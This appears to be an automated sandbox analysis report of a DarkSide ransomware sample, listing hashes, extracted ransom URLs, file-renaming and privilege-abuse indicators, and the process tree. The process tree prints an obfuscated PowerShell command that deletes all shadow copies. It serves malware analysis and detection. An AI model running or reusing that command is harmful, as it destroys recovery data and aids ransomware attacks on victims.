Analysis
-
max time kernel
137s -
max time network
144s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
26-07-2021 12:39
Static task
static1
Behavioral task
behavioral1
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
Resource
win10v20210408
General
-
Target
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe
-
Size
17KB
-
MD5
f87a2e1c3d148a67eaeb696b1ab69133
-
SHA1
d1dfe82775c1d698dd7861d6dfa1352a74551d35
-
SHA256
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297
-
SHA512
e361811b07a66d9a784be37bdace0bdec9e11374083d7ccf7d9830e47a59afa8b9d12d80d4d47ea1932116354ad60bbc8ea6a6a265885d264b35486986415ea3
Malware Config
Extracted
C:\\README.efaa031a.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC
http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Modifies extensions of user files 8 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exedescription ioc process File opened for modification C:\Users\Admin\Pictures\ExpandSubmit.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File renamed C:\Users\Admin\Pictures\SelectLock.png => C:\Users\Admin\Pictures\SelectLock.png.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File opened for modification C:\Users\Admin\Pictures\SelectLock.png.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File renamed C:\Users\Admin\Pictures\UpdateDisable.tif => C:\Users\Admin\Pictures\UpdateDisable.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File opened for modification C:\Users\Admin\Pictures\UpdateDisable.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File renamed C:\Users\Admin\Pictures\EnterTest.tif => C:\Users\Admin\Pictures\EnterTest.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File opened for modification C:\Users\Admin\Pictures\EnterTest.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe File renamed C:\Users\Admin\Pictures\ExpandSubmit.tif => C:\Users\Admin\Pictures\ExpandSubmit.tif.efaa031a 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exepowershell.exepid process 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe 1832 powershell.exe 1832 powershell.exe 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeSecurityPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeTakeOwnershipPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeLoadDriverPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeSystemProfilePrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeSystemtimePrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeProfSingleProcessPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeIncBasePriorityPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeCreatePagefilePrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeBackupPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeRestorePrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeShutdownPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeDebugPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeSystemEnvironmentPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeRemoteShutdownPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeUndockPrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeManageVolumePrivilege 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: 33 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: 34 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: 35 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe Token: SeDebugPrivilege 1832 powershell.exe Token: SeBackupPrivilege 1640 vssvc.exe Token: SeRestorePrivilege 1640 vssvc.exe Token: SeAuditPrivilege 1640 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exedescription pid process target process PID 752 wrote to memory of 1832 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe powershell.exe PID 752 wrote to memory of 1832 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe powershell.exe PID 752 wrote to memory of 1832 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe powershell.exe PID 752 wrote to memory of 1832 752 9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"C:\Users\Admin\AppData\Local\Temp\9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297.sample.exe"1⤵
- Modifies extensions of user files
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
1f8db64be6c37e59515420a11c6befba
SHA1eb9e3cfd05f3d0552f7fe70dfd0e651721ec8a85
SHA256699ee64cf0eb24f8666597759b5a0e7fb6cf727c4e6d109e1c26b1f6bcf477ea
SHA512829bc83ff956f278c4846ec5e0c90a4715a245fa98dab6beeafebef8e56b3f3a2cac2a973215d984cb8a5f97226c8bd4ce5289bae2deb701883df5fbee363557
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
c0dec4e1374490ca8e2ccac7538f4219
SHA1b5ce5ff867d52f5d7533c167a01afad66d908d10
SHA256acb51894e8438d8d0f61901edb4941ae33b1b7ae11e6f5356b4fde090adabd54
SHA5126e748addcef4ae4ea3f9073775135c4be9bba8a5de60be89100ec5ce103ed5d2d67174b4e0acd1b1f31359eedae8df5240e1d79d4958be0e6d4f8e5cae5c46ca
-
memory/752-60-0x00000000750C1000-0x00000000750C3000-memory.dmpFilesize
8KB
-
memory/1832-66-0x000000001AAC0000-0x000000001AAC2000-memory.dmpFilesize
8KB
-
memory/1832-64-0x000000001AB40000-0x000000001AB41000-memory.dmpFilesize
4KB
-
memory/1832-65-0x00000000024B0000-0x00000000024B1000-memory.dmpFilesize
4KB
-
memory/1832-63-0x00000000020A0000-0x00000000020A1000-memory.dmpFilesize
4KB
-
memory/1832-67-0x000000001AAC4000-0x000000001AAC6000-memory.dmpFilesize
8KB
-
memory/1832-68-0x00000000024E0000-0x00000000024E1000-memory.dmpFilesize
4KB
-
memory/1832-69-0x000000001C480000-0x000000001C481000-memory.dmpFilesize
4KB
-
memory/1832-70-0x000000001C620000-0x000000001C621000-memory.dmpFilesize
4KB
-
memory/1832-62-0x000007FEFB701000-0x000007FEFB703000-memory.dmpFilesize
8KB
-
memory/1832-61-0x0000000000000000-mapping.dmp